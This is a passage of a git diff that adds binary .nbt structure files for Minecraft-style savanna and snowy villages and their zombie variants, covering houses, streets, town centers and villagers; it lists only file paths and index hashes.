a/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_05.nbt new file mode 100644 index 00000000..31e07859 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_06.nbt new file mode 100644 index 00000000..70545128 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_07.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_07.nbt new file mode 100644 index 00000000..8f1ad18b Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_07.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/split_01.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/split_01.nbt new file mode 100644 index 00000000..772f6aae Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/split_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/split_02.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/split_02.nbt new file mode 100644 index 00000000..00015a92 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/split_02.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_02.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_02.nbt new file mode 100644 index 00000000..a103c184 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_04.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_04.nbt new file mode 100644 index 00000000..308cc74a Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_05.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_05.nbt new file mode 100644 index 00000000..2df6de0e Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_05.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_06.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_06.nbt new file mode 100644 index 00000000..0680ad80 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_08.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_08.nbt new file mode 100644 index 00000000..a65e79a0 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_08.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_09.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_09.nbt new file mode 100644 index 00000000..affefd31 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_09.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_10.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_10.nbt new file mode 100644 index 00000000..fb234b12 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_10.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/straight_11.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_11.nbt new file mode 100644 index 00000000..2e6678f9 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/straight_11.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/turn_01.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/turn_01.nbt new file mode 100644 index 00000000..30c74887 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/terminators/terminator_05.nbt b/src/data/minecraft/structures/village/savanna/zombie/terminators/terminator_05.nbt new file mode 100644 index 00000000..a566eb00 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/terminators/terminator_05.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_1.nbt b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_1.nbt new file mode 100644 index 00000000..3d5ff11e Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_2.nbt b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_2.nbt new file mode 100644 index 00000000..59870a24 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_3.nbt b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_3.nbt new file mode 100644 index 00000000..ebea5954 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_4.nbt b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_4.nbt new file mode 100644 index 00000000..bc1d4756 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/town_centers/savanna_meeting_point_4.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/villagers/nitwit.nbt b/src/data/minecraft/structures/village/savanna/zombie/villagers/nitwit.nbt new file mode 100644 index 00000000..9aabf89b Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/villagers/unemployed.nbt b/src/data/minecraft/structures/village/savanna/zombie/villagers/unemployed.nbt new file mode 100644 index 00000000..e17bd5d1 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_animal_pen_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_animal_pen_1.nbt new file mode 100644 index 00000000..88ab4a59 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_animal_pen_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_animal_pen_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_animal_pen_2.nbt new file mode 100644 index 00000000..79c9a469 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_animal_pen_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_armorer_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_armorer_house_1.nbt new file mode 100644 index 00000000..767dfb91 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_armorer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_armorer_house_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_armorer_house_2.nbt new file mode 100644 index 00000000..364128e2 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_armorer_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_butchers_shop_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_butchers_shop_1.nbt new file mode 100644 index 00000000..ab4ca917 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_butchers_shop_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_butchers_shop_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_butchers_shop_2.nbt new file mode 100644 index 00000000..d7d061fc Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_butchers_shop_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_cartographer_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_cartographer_house_1.nbt new file mode 100644 index 00000000..baa6d44d Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_cartographer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_farm_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_farm_1.nbt new file mode 100644 index 00000000..7f8042c0 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_farm_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_farm_2.nbt new file mode 100644 index 00000000..49a26ed0 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_farm_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_fisher_cottage.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_fisher_cottage.nbt new file mode 100644 index 00000000..6f564e15 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_fisher_cottage.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_fletcher_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_fletcher_house_1.nbt new file mode 100644 index 00000000..12bc0592 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_fletcher_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_library_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_library_1.nbt new file mode 100644 index 00000000..fd9f089c Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_library_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_masons_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_masons_house_1.nbt new file mode 100644 index 00000000..3d359283 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_masons_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_masons_house_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_masons_house_2.nbt new file mode 100644 index 00000000..a8353644 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_masons_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_1.nbt new file mode 100644 index 00000000..f1714804 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_2.nbt new file mode 100644 index 00000000..21303947 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_3.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_3.nbt new file mode 100644 index 00000000..daac7f26 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_medium_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_shepherds_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_shepherds_house_1.nbt new file mode 100644 index 00000000..ac10e064 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_shepherds_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_1.nbt new file mode 100644 index 00000000..d353e87f Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_2.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_2.nbt new file mode 100644 index 00000000..f3336044 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_3.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_3.nbt new file mode 100644 index 00000000..bc499778 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_4.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_4.nbt new file mode 100644 index 00000000..8f20413b Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_5.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_5.nbt new file mode 100644 index 00000000..98cd8dad Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_6.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_6.nbt new file mode 100644 index 00000000..096e1c68 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_7.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_7.nbt new file mode 100644 index 00000000..9239716b Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_8.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_8.nbt new file mode 100644 index 00000000..91a2fd96 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_tannery_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_tannery_1.nbt new file mode 100644 index 00000000..817d433a Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_tannery_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_temple_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_temple_1.nbt new file mode 100644 index 00000000..652c6c3d Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_temple_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_tool_smith_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_tool_smith_1.nbt new file mode 100644 index 00000000..3de6a952 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_tool_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/houses/snowy_weapon_smith_1.nbt b/src/data/minecraft/structures/village/snowy/houses/snowy_weapon_smith_1.nbt new file mode 100644 index 00000000..160bdd73 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/houses/snowy_weapon_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/snowy_lamp_post_01.nbt b/src/data/minecraft/structures/village/snowy/snowy_lamp_post_01.nbt new file mode 100644 index 00000000..a9d2585c Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/snowy_lamp_post_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/snowy_lamp_post_02.nbt b/src/data/minecraft/structures/village/snowy/snowy_lamp_post_02.nbt new file mode 100644 index 00000000..dbe58c5a Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/snowy_lamp_post_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/snowy_lamp_post_03.nbt b/src/data/minecraft/structures/village/snowy/snowy_lamp_post_03.nbt new file mode 100644 index 00000000..944cc4c5 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/snowy_lamp_post_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/corner_01.nbt b/src/data/minecraft/structures/village/snowy/streets/corner_01.nbt new file mode 100644 index 00000000..8c7c529f Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/corner_02.nbt b/src/data/minecraft/structures/village/snowy/streets/corner_02.nbt new file mode 100644 index 00000000..bd288a6f Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/corner_03.nbt b/src/data/minecraft/structures/village/snowy/streets/corner_03.nbt new file mode 100644 index 00000000..29ba57e5 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/snowy/streets/crossroad_01.nbt new file mode 100644 index 00000000..4d6926fc Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/snowy/streets/crossroad_02.nbt new file mode 100644 index 00000000..ca092d5d Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/snowy/streets/crossroad_03.nbt new file mode 100644 index 00000000..0f374f25 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/snowy/streets/crossroad_04.nbt new file mode 100644 index 00000000..820be0ef Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/snowy/streets/crossroad_05.nbt new file mode 100644 index 00000000..a0a7daaa Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/snowy/streets/crossroad_06.nbt new file mode 100644 index 00000000..db85b597 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/square_01.nbt b/src/data/minecraft/structures/village/snowy/streets/square_01.nbt new file mode 100644 index 00000000..63ab76fa Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/square_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/straight_01.nbt b/src/data/minecraft/structures/village/snowy/streets/straight_01.nbt new file mode 100644 index 00000000..17f9c6f6 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/straight_02.nbt b/src/data/minecraft/structures/village/snowy/streets/straight_02.nbt new file mode 100644 index 00000000..4ad715a2 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/straight_03.nbt b/src/data/minecraft/structures/village/snowy/streets/straight_03.nbt new file mode 100644 index 00000000..8dd163d8 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/straight_04.nbt b/src/data/minecraft/structures/village/snowy/streets/straight_04.nbt new file mode 100644 index 00000000..2fee4c13 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/straight_06.nbt b/src/data/minecraft/structures/village/snowy/streets/straight_06.nbt new file mode 100644 index 00000000..e234899c Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/straight_08.nbt b/src/data/minecraft/structures/village/snowy/streets/straight_08.nbt new file mode 100644 index 00000000..e25d2418 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/straight_08.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/streets/turn_01.nbt b/src/data/minecraft/structures/village/snowy/streets/turn_01.nbt new file mode 100644 index 00000000..0b49f0fa Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_1.nbt b/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_1.nbt new file mode 100644 index 00000000..26579fee Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_2.nbt b/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_2.nbt new file mode 100644 index 00000000..e9fff2fa Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_3.nbt b/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_3.nbt new file mode 100644 index 00000000..c8eb380c Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/town_centers/snowy_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/villagers/baby.nbt b/src/data/minecraft/structures/village/snowy/villagers/baby.nbt new file mode 100644 index 00000000..2e7ef8cc Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/villagers/baby.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/villagers/nitwit.nbt b/src/data/minecraft/structures/village/snowy/villagers/nitwit.nbt new file mode 100644 index 00000000..0ca2e852 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/villagers/unemployed.nbt b/src/data/minecraft/structures/village/snowy/villagers/unemployed.nbt new file mode 100644 index 00000000..feaf07ea Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_1.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_1.nbt new file mode 100644 index 00000000..978eb920 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_2.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_2.nbt new file mode 100644 index 00000000..d2c3c11a Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_3.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_3.nbt new file mode 100644 index 00000000..0e2cfcb2 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_medium_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_1.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_1.nbt new file mode 100644 index 00000000..ff68915c Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_2.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_2.nbt new file mode 100644 index 00000000..ba57f53a Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_3.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_3.nbt new file mode 100644 index 00000000..5fe331b6 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_4.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_4.nbt new file mode 100644 index 00000000..890b6cd5 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_5.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_5.nbt new file mode 100644 index 00000000..3221158e Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_6.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_6.nbt new file mode 100644 index 00000000..7466b270 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_7.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_7.nbt new file mode 100644 index 00000000..8f6e580b Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_8.nbt b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_8.nbt new file mode 100644 index 00000000..a0eb23ed Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/houses/snowy_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/corner_01.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/corner_01.nbt new file mode 100644 index 00000000..977d56b7 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/corner_02.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/corner_02.nbt new file mode 100644 index 00000000..a73fd2d8 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/corner_03.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/corner_03.nbt new file mode 100644 index 00000000..eeae6f9d Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_01.nbt new file mode 100644 index 00000000..5f1fb26c Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_02.nbt new file mode 100644 index 00000000..f6ff0a16 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_03.nbt new file mode 100644 index 00000000..4d64c141 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_04.nbt new file mode 100644 index 00000000..f2f38248 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_05.nbt new file mode 100644 index 00000000..bc782669 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_06.nbt new file mode 100644 index 00000000..1d016f19 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/square_01.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/square_01.nbt new file mode 100644 index 00000000..6ca515ab Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/square_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/straight_01.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_01.nbt new file mode 100644 index 00000000..2aaa8165 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/straight_02.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_02.nbt new file mode 100644 index 00000000..65f219f4 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/straight_03.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_03.nbt new file mode 100644 index 00000000..a0ed222b Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/straight_04.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_04.nbt new file mode 100644 index 00000000..1629e3e9 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/straight_06.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_06.nbt new file mode 100644 index 00000000..05402cf4 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/straight_08.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_08.nbt new file mode 100644 index 00000000..acb1205b Binary files /dev/null and 